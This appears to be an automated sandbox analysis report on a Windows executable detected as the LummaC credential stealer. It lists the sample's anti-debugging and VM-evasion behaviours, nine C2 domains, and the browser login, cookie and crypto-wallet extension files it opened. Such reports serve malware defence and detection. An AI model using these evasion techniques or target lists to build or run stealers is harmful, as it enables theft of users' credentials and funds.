Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5DA0C9F second address: 5DA0CBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FE804FE5CD1h 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5DA0F39 second address: 5DA0F64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE804B276D4h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE804B276CAh 0x00000011 jbe 00007FE804B276C6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5DA1220 second address: 5DA1224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5D65F47 second address: 5D65F5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804B276D0h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5DA4B8F second address: 5DA4B93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5DA4B93 second address: 5DA4BAC instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE804B276C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE804B276CAh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5DA4E6A second address: 5DA4E70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5DA4F34 second address: 5DA4F6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804B276D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FE804B276D6h 0x00000013 popad 0x00000014 push ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5DA5293 second address: 5DA5299 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5DA5299 second address: 5DA52A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5DA5CEA second address: 5DA5CEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5DA5DBC second address: 5DA5DC6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5DA5DC6 second address: 5DA5DCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5DA5E6F second address: 5DA5E73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5DA5E73 second address: 5DA5E80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5DA5E80 second address: 5DA5E84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5DA5E84 second address: 5DA5EC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE804FE5CD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FE804FE5CC8h 0x0000000f popad 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007FE804FE5CC8h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b xchg eax, ebx 0x0000002c push ecx 0x0000002d push ebx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5DA6BFB second address: 5DA6BFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	RDTSC instruction interceptor: First address: 5DA6BFF second address: 5DA6C04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Special instruction interceptor: First address: 92AC2D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Special instruction interceptor: First address: 778B57 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Special instruction interceptor: First address: 9A4C99 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Special instruction interceptor: First address: 5BEDDF9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Special instruction interceptor: First address: 5DC5DB6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Special instruction interceptor: First address: 5BEDDCD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Special instruction interceptor: First address: 5E353CB instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe

Code function: 0_2_05BF0D96 rdtsc

0_2_05BF0D96

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe TID: 7852

Thread sleep time: -210000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: zhMQ0hNEmb.exe, zhMQ0hNEmb.exe, 00000000.00000002.1736843621.0000000005D78000.00000040.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000002.1727829840.00000000008F9000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696497155
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: zhMQ0hNEmb.exe, 00000000.00000002.1734692337.000000000566D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}"
Source: zhMQ0hNEmb.exe, 00000000.00000002.1728980011.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000002.1728980011.0000000000EE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696497155p
Source: zhMQ0hNEmb.exe, 00000000.00000002.1734692337.000000000566D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\l
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696497155
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: zhMQ0hNEmb.exe, 00000000.00000003.1641981669.0000000000F40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__ S
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696497155f
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: zhMQ0hNEmb.exe, 00000000.00000002.1736843621.0000000005D78000.00000040.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000002.1727829840.00000000008F9000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: zhMQ0hNEmb.exe, 00000000.00000003.1481747691.00000000056DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: NTICE
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: SICE
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe

Code function: 0_2_05BF0D96 rdtsc

0_2_05BF0D96

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: zhMQ0hNEmb.exe	String found in binary or memory: cloudewahsj.shop
Source: zhMQ0hNEmb.exe	String found in binary or memory: rabidcowse.shop
Source: zhMQ0hNEmb.exe	String found in binary or memory: noisycuttej.shop
Source: zhMQ0hNEmb.exe	String found in binary or memory: tirepublicerj.shop
Source: zhMQ0hNEmb.exe	String found in binary or memory: framekgirus.shop
Source: zhMQ0hNEmb.exe	String found in binary or memory: wholersorie.shop
Source: zhMQ0hNEmb.exe	String found in binary or memory: abruptyopsn.shop
Source: zhMQ0hNEmb.exe	String found in binary or memory: nearycrepso.shop
Source: zhMQ0hNEmb.exe	String found in binary or memory: fancywaxxers.shop

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=zhMQ0hNEmb.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=zhMQ0hNEmb.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: zhMQ0hNEmb.exe, zhMQ0hNEmb.exe, 00000000.00000002.1727829840.00000000008F9000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 03Program Manager
Source: zhMQ0hNEmb.exe, zhMQ0hNEmb.exe, 00000000.00000002.1736843621.0000000005D78000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: CGProgram Manager

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: zhMQ0hNEmb.exe, 00000000.00000003.1534915382.00000000056D8000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1526003944.00000000056D8000.00000004.00000800.00020000.00000000.sdmp, zhMQ0hNEmb.exe, 00000000.00000003.1642110085.00000000056D8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: zhMQ0hNEmb.exe PID: 7660, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\zhMQ0hNEmb.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
